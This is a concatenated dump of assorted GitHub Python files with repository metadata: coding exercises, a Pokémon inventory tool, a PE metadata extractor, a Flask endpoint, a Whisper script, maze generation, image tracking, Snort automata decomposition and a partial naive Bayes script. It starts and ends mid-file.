'TR_ID = ' + TR_ID)\r\n\r\n\r\n# Driver Code\r\nif __name__ == '__main__':\r\n\r\n\tconnection = create_connection(\"wtrdata.sqlite\")\r\n\t#init_Product_Table(connection)\r\n\t#init_Transactions_Table(connection)\r\n\r\n\t# Create the Product Table\r\n\tinit_Transactions_Table(connection)\r\n\r\n\t#Prep some sample data\r\n\tproduct_columns = ['Date', 'Count', 'Product_ID', 'Customer_Name']\r\n\tproduct_data = ['\\'2020-07-18\\'', '\\'4\\'', '\\'1\\'', '\\'Chris McClure\\'']\r\n\tinsert_query(connection, 'Transactions', product_columns, product_data)\r\n\r\n\t# YAY!\r\n\tselect_query = \"SELECT * FROM Transactions INNER JOIN Products ON Transactions.Product_ID = Products.SKU_ID\"\r\n\ttransactions = execute_read_query(connection, select_query)\r\n\tprintDB(connection, 'Transactions', select_query)\r\n\r\n\t#delete_query(connection, 'Transactions')\r\n\r\n\tfor transaction in transactions:\r\n\t\tprint(transaction)\r\n","repo_name":"jsdaniel007/WillowTreeApp","sub_path":"python/deprecated/transactions_wtr.py","file_name":"transactions_wtr.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20357527530","text":"# starsparrow\n# adventofcode puzzle 1-2\n\ninstructions = []\n\nwith open('puzzleinput.txt', 'r') as f:\n\twhile True:\n\t\tread_data = f.read(1)\n\t\tif not read_data:\n\t\t\tbreak\n\t\tinstructions.append(read_data)\n\nposition = 1\ncurrentFloor = 0\ntargetFloor = -1\n\t\t\nfor i in instructions:\n\tif i == '(':\n\t\tcurrentFloor += 1\n\telif i == ')':\n\t\tcurrentFloor -= 1\n\telse:\n\t\tprint(\"Weird error that you shouldn't see\")\n\t\n\tif currentFloor == targetFloor:\n\t\tprint(position)\n\t\tbreak\n\telse:\n\t\tposition += 1","repo_name":"alchzh/challenges","sub_path":"advent-of-code/2015/day1/puz2.py","file_name":"puz2.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25975767453","text":"#!/usr/bin/python3\n\"\"\"Validates the size of a square and computes it's area\"\"\"\n\n\nclass Square:\n \"\"\"\n Represents a square.\n \"\"\"\n\n def __init__(self, size=0, position=(0, 0)):\n \"\"\"\n Initializes a Square instance.\n\n Args:\n size (int): The size of the square.\n position (tuple): The position of the square.\n \"\"\"\n self.size = size\n self.position = position\n\n @property\n def size(self):\n \"\"\"\n Retrieves the size of the square.\n\n Returns:\n int: The size of the square.\n \"\"\"\n return self.__size\n\n @size.setter\n def size(self, value):\n \"\"\"\n Sets the size of the square.\n\n Args:\n value (int): The size of the square.\n\n Raises:\n TypeError: If value is not an integer.\n ValueError: If value is less than 0.\n \"\"\"\n if not isinstance(value, int):\n raise TypeError(\"size must be an integer\")\n if value < 0:\n raise ValueError(\"size must be >= 0\")\n self.__size = value\n\n @property\n def position(self):\n \"\"\"\n Retrieves the position of the square.\n\n Returns:\n tuple: The position of the square.\n \"\"\"\n return self.__position\n\n @position.setter\n def position(self, value):\n \"\"\"\n Sets the position of the square.\n\n Args:\n value (tuple): The position of the square.\n\n Raises:\n TypeError: If value is not a tuple of 2 positive integers.\n \"\"\"\n if (\n not isinstance(value, tuple)\n or len(value) != 2\n or not all(isinstance(x, int) for x in value)\n or not all(x >= 0 for x in value)\n ):\n raise TypeError(\"position must be a tuple of 2 positive integers\")\n self.__position = value\n\n def area(self):\n \"\"\"\n Computes the area of the square.\n\n Returns:\n int: The area of the square.\n \"\"\"\n return self.__size ** 2\n\n def my_print(self):\n \"\"\"\n Prints the square with the character #.\n \"\"\"\n if self.__size == 0:\n print()\n else:\n for _ in range(self.__position[1]):\n print()\n for _ in range(self.__size):\n print(\" \" * self.__position[0], end=\"\")\n print(\"#\" * self.__size)\n","repo_name":"Yomna147/alx-higher_level_programming","sub_path":"0x06-python-classes/6-square.py","file_name":"6-square.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74973467239","text":"peoples = {\n 'first_name': 'le',\n 'last_name': 'xiaoyuan',\n 'age': 21,\n 'city': 'dawu'\n}\n\nprint(peoples['first_name'])\nprint(peoples['last_name'])\nprint(peoples['age'])\nprint(peoples['city'])\n\nfor people in peoples.values():\n print(people)\n\nlucky_number = {\n 'lexiaoyuan': 6,\n 'benjamin': 66,\n 'lexiaoyuanbeta': 666,\n 'yege': 6666,\n 'ruanwei': 66666\n}\n\nprint('lexiaoyuan'.title() + \"'s lucky number is \" +\n str(lucky_number['lexiaoyuan']))\nprint('benjamin'.title() + \"'s lucky number is \" +\n str(lucky_number['benjamin']))\nprint('lexiaoyuanbeta'.title() + \"'s lucky number is \" +\n str(lucky_number['lexiaoyuanbeta']))\nprint('yege'.title() + \"'s lucky number is \" +\n str(lucky_number['yege']))\nprint('ruanwei'.title() + \"'s lucky number is \" +\n str(lucky_number['ruanwei']))\n\nfor name, number in lucky_number.items():\n print(name.title() + \"'s lucky number is \" + str(number))\n\ndictionary = {\n 'if': 'if',\n 'for': 'for',\n 'list': 'list',\n 'title': 'title',\n 'upper': 'upper'\n}\n\nprint(\"if: \" + dictionary['if'])\nprint(\"for: \" + dictionary['for'])\nprint(\"list: \" + dictionary['list'])\nprint(\"title: \" + dictionary['title'])\nprint(\"upper: \" + dictionary['upper'])\n\nfor dic in dictionary.keys():\n print(dic)\n\npeople_1 = {\n 'first_name': 'le',\n 'last_name': 'xiaoyuan',\n 'age': 21,\n 'city': 'dawu'\n}\n\npeople_2 = {\n 'first_name': 'le',\n 'last_name': 'xiaoyuanbeta',\n 'age': 21,\n 'city': 'dawu'\n}\n\npeople_3 = {\n 'first_name': 'ben',\n 'last_name': 'jamin',\n 'age': 21,\n 'city': 'dawu'\n}\n\npeople = [people_1, people_2, people_3]\n\nfor p in people:\n print(p)\n\nlucky_numbers = {\n 'lexiaoyuan': [6, 66],\n 'benjamin': [66, 666],\n 'lexiaoyuanbeta': [666, 6666],\n 'yege': [6666, 66666],\n 'ruanwei': [66666, 666666],\n}\n\nfor name, numbers in lucky_numbers.items():\n print(name.title() + \"'s favorite number are:\")\n for number in numbers:\n print(\"\\t\" + str(number))\n","repo_name":"lexiaoyuan/PythonCrashCourse","sub_path":"python_05_dictionary/people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3000945447","text":"import logging\nimport random\nimport time\nimport math\nimport collections\n\n\nclass Transfer(object):\n def __init__(self, inventory):\n self.logger = logging.getLogger(__name__)\n self.inventory = inventory\n self.api = inventory.api\n self.pokemons = inventory.pokemons\n self.candies = inventory.candies\n self.pokedex = inventory.pokedex\n self.mincp = inventory.config.mincp\n\n def transfer_service(self, pokemon_id, name):\n print('Transferring %s... ' % name, end=\"\")\n resp = self.api.release_pokemon(pokemon_id=pokemon_id)\n res = resp.get('responses', {}).get('RELEASE_POKEMON', {}).get('result', {0})\n if res == 1:\n print('DONE')\n else:\n print('FAILED')\n time.sleep(random.uniform(3.0, 6.0))\n\n def transfer_list(self, transfer_list):\n self.inventory.print_pokemons(transfer_list)\n if self.inventory.ask_question('Are you sure you want to transfer listed pokemons?'):\n for k, v in transfer_list.items():\n for p in v:\n self.transfer_service(p['id'], k)\n self.inventory.get_inventory()\n\n def transfer_extras(self):\n transfer_list = collections.OrderedDict()\n min_keep = self.inventory.get_min_to_keep()\n can_evolve = 0\n for k, v in self.pokemons.items():\n count = len(v)\n pid = v[0]['pid']\n req_candies = self.pokedex[pid]['candy']\n my_candies = self.candies.get(pid, None)\n if not my_candies or not req_candies:\n continue\n can_evolve += my_candies // req_candies\n keeping = max(math.ceil(my_candies / req_candies), min_keep)\n\n if count > keeping:\n for poke in v[keeping:]:\n if poke['cp'] < self.mincp:\n transfer_list.setdefault(k, []).append(poke)\n\n if not transfer_list:\n print('\\nNothing is available to transfer')\n return\n\n self.transfer_list(transfer_list)\n\n def transfer_duplicates(self):\n transfer_list = collections.OrderedDict()\n min_keep = max(0, self.inventory.get_min_to_keep())\n for k, v in self.pokemons.items():\n if len(v) > min_keep:\n for poke in v[min_keep:]:\n if poke['cp'] < self.mincp:\n transfer_list.setdefault(k, []).append(poke)\n self.transfer_list(transfer_list)\n\n def run(self):\n print(' TRANSFER MENU')\n print(' You will have a chance to approve the transfer list before actually transferring')\n print(' ---------')\n print(' 1: Transfer all duplicates')\n print(' 2: Transfer pokemons you cannot evolve(For example: If you have 36 pidgey candies, '\n 'keep top 3; transfer the rest)')\n print(' 0: Back')\n choice = int(input(\"\\nEnter choice: \"))\n if choice == 1:\n self.transfer_duplicates()\n elif choice == 2:\n self.transfer_extras()\n elif choice == 0:\n pass\n else:\n pass\n","repo_name":"norecha/PokeInventory","sub_path":"transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"18"} +{"seq_id":"33567176204","text":"#Blake Scott 08/10/2021\r\nimport json as j\r\nfrom pprint import pprint\r\n\r\nimport numpy\r\n\r\ndata = []\r\nfor line in open('C:/Users/blake/Documents/restaurant.json',\"r\"):\r\n data.append(j.loads(line))\r\n\r\nbor=[]\r\n\r\nfor br in data:\r\n bor.append([br['borough'],br['cuisine']])\r\n score = []\r\n for s in br['grades']:\r\n score.append(s['score'])\r\n\r\n bor.append(score)\r\n bor.append(numpy.average([x for x in score if x != None]))\r\n\r\npprint(bor)","repo_name":"bscott110/mthree_Pythonpractice","sub_path":"BlakeScott_Mod4_practiceact_4.py","file_name":"BlakeScott_Mod4_practiceact_4.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29264989170","text":"import math \n\n# create a function to find maximum size subarray of size k\ndef maxSubarray(arr, k):\n ans = 0\n start = 0\n slidingSum = 0\n\n for end in range(len(arr)):\n slidingSum += arr[end]\n if end >= k-1:\n ans = max(ans, slidingSum)\n slidingSum -= arr[start]\n start += 1\n\n return ans\n\n\n\ndef minSubArrSumS(arr, s):\n minLength = math.inf\n start = 0\n slidingSum = 0\n\n for end in range(len(arr)):\n slidingSum += arr[end]\n\n # we are going to shrink the window as small as possible when we have found the answer\n while slidingSum >= s:\n minLength = min(minLength, end - start + 1)\n slidingSum -= arr[start]\n start += 1\n if minLength == math.inf:\n return 0\n return minLength\n","repo_name":"kunal-kushwaha/CTCI-MLH-July","sub_path":"Arrays/Python/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"16101299415","text":"import argparse\nfrom datetime import date, datetime\nfrom pefile import PE\n\n\n''' ----___----I WROTE THIS BYMYSELF AND NEEDS TO IMPROVED----___---\n\n\nDescription: \n --> This script will get metadata from EXE files. \nTo run this script --> python metadata_executable.py\nexample --> python metadata_executable.py blablabla.exe\n'''\n\n\n__authors__ = [\"Gokan Bektas\"]\n__date__ = 20211215\n__version__ = 1.0 # version can be always change so make sure you update after make a change. it has to be in quation. \n__description__ = 'A Tool to extract metadata from EXE files'\n\nparser = argparse.ArgumentParser(description=__description__, epilog=\"Developed by {} on {}\".format(\", \".join(__authors__),__date__))\nparser.add_argument(\"EXE_FILE\", help=\"Path to exe file\")\nparser.add_argument(\"-v\", \"--verbose\", help=\"Increase verbosity of output\", action='store_true', default=False)\nargs = parser.parse_args()\n\npe = PE(args.EXE_FILE)\nped = pe.dump_dict()\n\nfile_info = {}\nfor structure in pe.FileInfo:\n if structure.Key == b'StringFileInfo':\n for s_table in structure.StringTable:\n for key, value in s_table.entries.itens():\n if value is None or len(value) == 0:\n value = \"Unknown\"\n file_info[key] = value\n \nprint(\"File Information\")\n\nfor key, value in file_info.items():\n if isinstance(key,bytes):\n key = key.decode()\n if isinstance(value, bytes):\n value = value.decode()\n print(f'{key}: {value}')\n \n#Defining the compiling time\ncomp_time = ped['FILE_HEADER']['TimeDateStamp']['Value']\ncomp_time = comp_time.split(\"[\")[-1].strip(\"]\")\ntime_stamp, timezone = comp_time.rsplit(\" \", 1)\ncomp_time = datetime.strptime(time_stamp, \"%a %b %d %H:%M:%S %Y\")\nprint(\"Compiled on {} {}\".format(comp_time, timezone.strip()))\n\n# Extract IOCs from PE Sections\nprint('\\nSections: ')\n\nfor section in ped['PE Sections']:\n print(\"Section '{}' at {}: {}/{} {}\".format(\n section['Name']['Value'], hex(section['VirtualAddress']['Value']),\n section['Misc_VirtualSize']['Value'],\n section['SizeOfRawData']['Value'], section['MD5'])\n )\n \n# Display Imports, Names, and Adresses \nif hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'): \n print(\"\\nImports: \")\n for dir_entry in pe.DIRECTORY_ENTRY_IMPORT:\n dll = dir_entry.dll\n if not args.verbose:\n print(dll.decode(), end=\", \")\n continue\n \n name_list = []\n for impts in dir_entry.imports:\n if getattr(impts, \"name\", b\"Unknown\") is None:\n name = b\"Unknown\"\n else:\n name = getattr(impts, \"name\", b\"Unknown\")\n name_list.append([name.decode(), hex(impts.address)])\n name_fmt = [\"{} ({})\".format(x[0], x[1]) for x in name_list]\n print('- {}: {}'.format(dll.decode(), \", \".join(name_fmt)))\n if not args.verbose:\n print()\n \n# Display Exports, Names, and Adresses\nif hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):\n print('\\nExports: ')\n for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols:\n print(f'-{sym.name.decode()}: {hex(sym.address)}')\n \n\n","repo_name":"gokanb/Digital-Forensics","sub_path":"Digital Forensics/MetaData Scanners/DOESN'T-WORK-YET-metadata_executable.py","file_name":"DOESN'T-WORK-YET-metadata_executable.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19918686312","text":"from flask import Blueprint, request, jsonify\nfrom flask_cors import cross_origin\nfrom database_functions.db_connection.connection import connection\nfrom database_functions.account.token_auth_flow import refresh_token\nfrom database_functions.logs.recentLogs import insert_into_recent_table\nfrom database_functions.groups.deletion_functions import delete_group, delete_users_in_group\nfrom database_functions.groups.querying_functions import get_group_title\nfrom time import time\n\ndeleteGroupAPI = Blueprint('deleteGroupAPI', __name__)\n\n\n# API to create a group for cost sharing\n@deleteGroupAPI.route('/group/deleteGroup', methods=['POST'])\n@cross_origin()\ndef group_status_update():\n try:\n user_name = request.json['user_name']\n refresh_token(connection(), request.json['user_name'])\n group_id = request.json['group_id']\n group_title = get_group_title(connection(), group_id)\n if not group_title:\n return jsonify(False)\n delete_group(connection(), group_id)\n delete_users_in_group(connection(), group_id)\n\n message = \"You just deleted the group \" + group_title\n message_description = \"Hope it's purpose served you well!\"\n # adding transaction to logs\n insert_into_recent_table(connection(), user_name, str(time()), \"10:Deleted Group \" + group_title, message +\n message_description)\n\n return jsonify(True)\n except:\n return jsonify(False)\n","repo_name":"anurag-as/Costrajectory","sub_path":"backend/api/groups/delete_group.py","file_name":"delete_group.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"387543364","text":"import whisper\nfrom argparse import ArgumentParser\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n parser.add_argument(\n \"--audio_path\",\n type=str,\n default=\"/srv/lake/landing/CADIC/cadic-asr-deepspeech/jsut_ver1.1/basic5000/wav/BASIC5000_0001.wav\",\n )\n args = parser.parse_args()\n language = None\n model = whisper.load_model(\"large\").cuda()\n result = model.transcribe(args.audio_path, language=language, temperature=0.0)\n\n transcription = result[\"text\"].lower()\n print(transcription)\n","repo_name":"JeanMaximilienCadic/whisper","sub_path":"whisper/infer/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"34785175920","text":"# Write a python program zip.py to create a zip file. \n# The program should take name of zip file as first \n# argument and files to add as rest of the arguments.\n\ndef zip_file(arr):\n import zipfile\n f = zipfile.ZipFile('zipfile.zip','a')\n for file in arr:\n f.write(file,compress_type=zipfile.ZIP_DEFLATED)\n#zip_file(['she.txt','reverse_she.txt'])\n\nimport zipfile\nf = zipfile.ZipFile('zipfile.zip')\nfor name in f.namelist():\n print(name)\n","repo_name":"fahimkk/anandology","sub_path":"zip_ex.py","file_name":"zip_ex.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20986554518","text":"import numpy as np \nimport random \n\n#Build the maze using depth first search \nnum_rows = 5\nnum_cols = 5\nmazesNumber = 50\n\n\ndef isDeadEnd(y,x,visited) : \n\tfor i in range(-1,1): #i in -1,0,1\n\t\tfor j in range(-1,1):#i in -1,0,1\n\t\t\tif(not(i==0 and j==0)):#as if i==0 and j==0 then we are in teh same cell \t \n\t\t\t\tif(x+i>=0 and x+i< num_cols ):\n\t\t\t\t\tif( y+j >=0 and y+j < num_rows):\n\t\t\t\t\t\tif((x+i,y+j) not in visited):\n\t\t\t\t\t\t\treturn False,y+j,x+i #There's an unvisited neighbour \n\treturn True,-1,-1; #There's no unvisited neighbour\n \ndef isValidRow(y):\n\tif(y>=0 and y<num_rows):\n\t\treturn True; \n\treturn False; \n\ndef isValidCol(x):\n\tif(x>=0 and x<num_cols):\n\t\treturn True; \n\treturn False; \n\t\ndef generateMazes():\n\n\t#Generate the 50 mazes \n\t##########################################################\n\t# initially set all of the cells as unvisited\n\tmaze = np.zeros((mazesNumber,num_rows,num_cols))\n\n\n\tfor mazeInd in range(0,mazesNumber) :\n\t\tprint(\"Generate Maze : \" + str(mazeInd+1));\n\t\tvisited = set() # Set for visitied nodes \n\t\tstack = [] # Stack is empty at first \n\n\t\t##########################################################\n\t\t#start from a random cell\t\n\t\trow_index = random.randint(0,num_rows-1)#Must choose valid row index \n\t\tcol_index = random.randint(0,num_cols-1)#Must choose valid col index \n\t\t#mark it as visitied \t\n\t\tprint(\"_______________ Start ________________\\n\")\n\t\tprint(\"Loc[\"+str(row_index)+\"],[\"+str(col_index)+\"] = 1\")\n\t\tvisited.add((row_index , col_index)) #Visited \n\t\tmaze [mazeInd , row_index , col_index] = 1 #Unblocked \n\t\t\n\n\t\t##########################################################\n\t\t#Select a random neighbouring cell to visit that has not yet been visited. \n\t\tprint(\"\\n\\n_______________ DFS ________________\\n\")\n\t\twhile(len(visited) < num_cols*num_rows): #Repeat till visit all cells \n\t\t\n\t\t\tcrnt_row_index = row_index+random.randint(-1,1)#neighbor\n\t\t\tcrnt_col_index = col_index+random.randint(-1,1)#neighbor\n\t\t\ti=0;isDead=False;\n\t\t\twhile ((not isValidRow(crnt_row_index)) or (not isValidCol(crnt_col_index) )or ((crnt_row_index,crnt_col_index) in visited) ):\n\t\t\t\t# no need to write also \"or (crnt_row_index==row_index and crnt_col_index==col_index)\" as if this happened then it would be visited \n\t\t\t\tcrnt_row_index = row_index+random.randint(-1,1)\n\t\t\t\tcrnt_col_index = col_index+random.randint(-1,1)\n\t\t\t\ti = i+1\n\t\t\t\t#print(\"dtuck\"+str(i))\n\t\t\t\tif(i==8):\n\t\t\t\t\t#Reach dead end \n\t\t\t\t\tisDead = True\n\t\t\t\t\tbreak\n\t\t\tif(not isDead):\n\t\t\t\tvisited.add((crnt_row_index , crnt_col_index)) \n\t\t\t\n\t\t\trand_num = random.uniform(0, 1)\n\n\t\t\tif( rand_num < 0.3 and not isDead) : \n\t\t\t\t# With 30% probability mark it as blocked. \n\t\t\t\tmaze [mazeInd , crnt_row_index , crnt_col_index] = 0 #Leave the block \n\t\t\t\tprint(\"Loc[\"+str(crnt_row_index)+\"],[\"+str(crnt_col_index)+\"] = 0\")\t\t\t\t\n\t\t\t\t#to start get the neighbors of this cell next time \n\t\t\t\trow_index = crnt_row_index\n\t\t\t\tcol_index = crnt_col_index\n\t\t\telse : \n\t\t\t\tif(not isDead):\n\t\t\t\t\t# With 70% mark it as unblocked and in this case add it to the stack.\n\t\t\t\t\tmaze [mazeInd , crnt_row_index , crnt_col_index] = 1 #Unblocked \n\t\t\t\t\tprint(\"Loc[\"+str(crnt_row_index)+\"],[\"+str(crnt_col_index)+\"] = 1\")\t\t\t\t\n\t\t\t\t\tstack.append((crnt_row_index,crnt_col_index))\n\t\t\t\t\tisDead,unvisitRow , unvisitCol = isDeadEnd(row_index,col_index,visited)\n\t\t\t\tif(isDead == True):#if no unvisited neighbour \n\t\t\t\t\t#backtrack to parent nodes on the search tree until it reaches a cell with an unvisited neighbour\n\t\t\t\t\twhile(len(stack)>0):\n\t\t\t\t\t\tparent_row,parent_col = stack.pop();\n\t\t\t\t\t\tisDead,unvisitRow , unvisitCol = isDeadEnd(parent_row,parent_col,visited)\n\t\t\t\t\t\tif(isDead == False):\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t# Now wither we reach not dead end or stack is empty \n\t\t\t\t\tif(len(stack)>0):\n\t\t\t\t\t\tvisited.add((unvisitRow,unvisitCol))\n\t\t\t\t\t\trow_index = unvisitRow\n\t\t\t\t\t\tcol_index = unvisitCol\n\t\t\t\t\telse :\n\t\t\t\t\t\t#Repeat the whole process from a point not vistited\n\t\t\t\t\t\trow_index = random.randint(0,num_rows-1)\n\t\t\t\t\t\tcol_index = random.randint(0,num_cols-1)\n\t\t\t\t\t\tif(len(visited)< num_cols*num_rows):\n\t\t\t\t\t\t\twhile ( (not isValidRow(row_index)) or (not isValidCol(col_index)) or ((row_index,col_index) in visited) ):\n\t\t\t\t\t\t\t\trow_index = random.randint(0,num_rows-1)\n\t\t\t\t\t\t\t\tcol_index = random.randint(0,num_cols-1)\n\t\t\t\t\t\t\t\t#print(str(row_index)+\",\"+str(col_index))\n\t\t\t\t\t\t#mark it as visitied \t\n\t\t\t\t\t\tvisited.add((row_index , col_index)) #Visited \t\t\t\t\t\n\t\t\t\telse : #No dead Node \n\t\t\t\t\tvisited.add((unvisitRow,unvisitCol))\n\t\t\t\t\trow_index = unvisitRow\n\t\t\t\t\tcol_index = unvisitCol\n\n\t\t\t\t\n\treturn maze\n\t\t\nif __name__ == '__main__':\n\tmazes = generateMazes() #3D numpy array for the 50 mazes \n\t\n\tfor mazeInd in range(0,mazesNumber):\n\t\t#np.savetxt(f, result.astype(int),, delimiter=\",\")\n\t\t \n\t\tnp.savetxt('maze '+str(mazeInd)+'.txt',mazes[mazeInd].astype(int) ,fmt='%i', delimiter=\",\")\n","repo_name":"ajaycasalena/CS440","sub_path":"MazeGen.py","file_name":"MazeGen.py","file_ext":"py","file_size_in_byte":4851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26582128428","text":"class LewisStructure:\n def __init__(self, structure=None):\n if structure is None:\n self.structure = []\n # the above structure will be filled with lists in the following format: [<element>, <bonds>,\n # <lone pairs>, [[<other indices that it is connected to>, <single bond, double bond, or triple bond>]]\n else:\n self.structure = structure\n\n def check_octet(self, i):\n if i[0] == \"H\":\n if i[1] != 1:\n return False\n else:\n if 2 * i[1] + 2 * i[2] > 8:\n return False\n\n def check_for_no_bonds(self,i):\n if i[1] < 1:\n return False\n\n def check_validity(self):\n for i in self.structure:\n self.check_octet(i)\n self.check_for_no_bonds(i)\n\n\n","repo_name":"zarbod/Resonancestructuregenerator","sub_path":"lewisstructure.py","file_name":"lewisstructure.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70067937322","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nimport matplotlib.patches as patches\n\n# write your script here, we recommend the above libraries for making your animation\nimport SubtractDominantMotion as SDM\n\nframe_req = [30, 60, 90, 120]\naerial = np.load('../data/aerialseq.npy')\nmasks = []\nfor i in range(0,aerial.shape[2]-1):\n\n # comment the if-block for visualisation\n if (i+1) not in frame_req:\n continue\n\n It = aerial[:,:,i]\n It1 = aerial[:,:,i+1]\n mask = SDM.SubtractDominantMotion(It,It1)\n if (i+1) in frame_req:\n masks.append(np.copy(mask));\n\n \n # uncommment for visualisation\n '''\n fig = plt.figure()\n plt.imshow(It1,cmap='gray')\n plt.imshow(mask,alpha=0.2,cmap='viridis')\n if i+1 in frame_req:\n plt.savefig(str(i+1)+'_aerial.png')\n plt.show(block=False)\n plt.pause(0.01)\n plt.close()\n '''\nmasks = np.dstack(masks)\nassert(masks.shape==(aerial.shape[0],aerial.shape[1],4))\nnp.save('aerialseqrects.npy',masks)\n \n","repo_name":"kartikarcot/Lucas_Kanade_Tracking","sub_path":"code/testAerialSequence.py","file_name":"testAerialSequence.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24763997774","text":"import os\nimport pickle\nfrom fsa_to_tensor import dfa_to_tensor\nimport argparse\nfrom load_dataset import load_classification_dataset\nfrom Metis.utils.data import decompose_tensor_split\n\n\ndef decompose_automata(args):\n merged_automata = pickle.load(\n open(os.path.dirname(__file__) + '/data/snort/{}/automata/{}.pkl'.format(args.dataset,\n args.automata_name), 'rb'))\n\n print('AUTOMATA TO TENSOR')\n print('Total States: {}'.format(len(merged_automata['states'])))\n # first load vocabs\n dataset = load_classification_dataset(args)\n # print(dataset['data'])\n word2idx = dataset['t2i']\n print(word2idx)\n language_tensor, state2idx, wildcard_mat, language = dfa_to_tensor(merged_automata, word2idx)\n complete_tensor = language_tensor + wildcard_mat\n\n print('DECOMPOSE SPLIT AUTOMATA')\n\n for random_state in range(1):\n print('DECOMPOSING RANK: {}, TENSOR SIZE: {}'.format(args.rank, language_tensor.shape))\n V_embed_split, D1_split, D2_split, rec_error = \\\n decompose_tensor_split(language_tensor, language, word2idx, args.rank,\n random_state=random_state, n_iter_max=30, init=args.init)\n\n save_dict = {\n 'automata': merged_automata,\n 'V': V_embed_split,\n 'D1': D1_split,\n 'D2': D2_split,\n 'language': language,\n 'wildcard_mat': wildcard_mat,\n }\n pickle.dump(save_dict, open(\n os.path.dirname(__file__) + '/data/snort/{}/automata/automata.{}.{}.pkl'.format(args.dataset,\n args.dataset,\n args.rank), 'wb'))\n\n print('FINISHED')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset', type=str, default='chat', help=\"dataset name\")\n parser.add_argument('--automata_name', type=str, default='all',\n help=\"automata name prefix\")\n parser.add_argument('--rank', type=int, default=200, help=\"rank\")\n parser.add_argument('--init', type=str, default='svd', help=\"initialization\")\n parser.add_argument('--dataset_spilt', type=float, default=1, help=\"rate of using labeled data\")\n\n args = parser.parse_args()\n assert args.init in ['svd', 'random']\n\n decompose_automata(args)\n","repo_name":"YouAreSpecialToMe/Metis","sub_path":"ByteLevelTokenization/decompose_snort_automata.py","file_name":"decompose_snort_automata.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"9602372301","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 2 02:18:03 2019\n\n@author: Anupam Shankar Dey\n\"\"\"\n\nfrom __future__ import print_function\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\nds = pd.read_csv('eighthr.csv')\nlabels = pd.read_csv('eighthrnames.csv')\nlabels2 = labels.iloc[:,:1].values\nlabeldf = pd.DataFrame(labels2)\nX = ds.iloc[:,1:73].values\ny = ds.iloc[:,73:].values\nds4 = pd.DataFrame(X)\n\ncols = [i.strip() for i in labeldf[0]]\n\nX = ds4.replace(to_replace='?',value=np.nan)\n\nfrom sklearn.preprocessing import Imputer\nimputer = Imputer(missing_values='NaN',strategy='mean',axis=0,verbose=0)\nimputer = imputer.fit(X)\nX = imputer.transform(X)\n\nX = pd.DataFrame(X,columns=cols[1:])\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=42)\ny_train,y_test = y_train.ravel(),y_test.ravel()\n\n#Making likelihood estimations\n\n#Find the two classes\nX_train_class_0 = [X_train[i] for i in range(len(X_train)) if y_train[i]==0]\nX_train_class_1 = [X_train[i] for i in range(len(X_train)) if y_train[i]==1]\n\n#Find the class specific likelihoods of each feature\nlikelihoods_class_0 = np.mean(X_train_class_0, axis=0)/100.0\nlikelihoods_class_1 = np.mean(X_train_class_1, axis=0)/100.0\n\n#Calculate the class priors\nnum_class_0 = float(len(X_train_class_0))\nnum_class_1 = float(len(X_train_class_1))\n\nprior_probability_class_0 = num_class_0 / (num_class_0 + num_class_1)\nprior_probability_class_1 = num_class_1 / (num_class_0 + num_class_1)\n\nlog_prior_class_0 = np.log10(prior_probability_class_0)\nlog_prior_class_1 = np.log10(prior_probability_class_1)\n\ndef calculate_log_likelihoods_with_naive_bayes(feature_vector, Class):\n assert len(feature_vector) == num_features\n log_likelihood = 0.0 #using log-likelihood to avoid underflow\n if Class==0:\n for feature_index in range(len(feature_vector)):\n if feature_vector[feature_index] == 1: #feature present\n log_likelihood += np.log10(likelihoods_class_0[feature_index]) \n elif feature_vector[feature_index] == 0: #feature absent\n log_likelihood += np.log10(1.0 - likelihoods_class_0[feature_index])\n elif Class==1:\n for feature_index in range(len(feature_vector)):\n if feature_vector[feature_index] == 1: #feature present\n log_likelihood += np.log10(likelihoods_class_1[feature_index]) \n elif feature_vector[feature_index] == 0: #feature 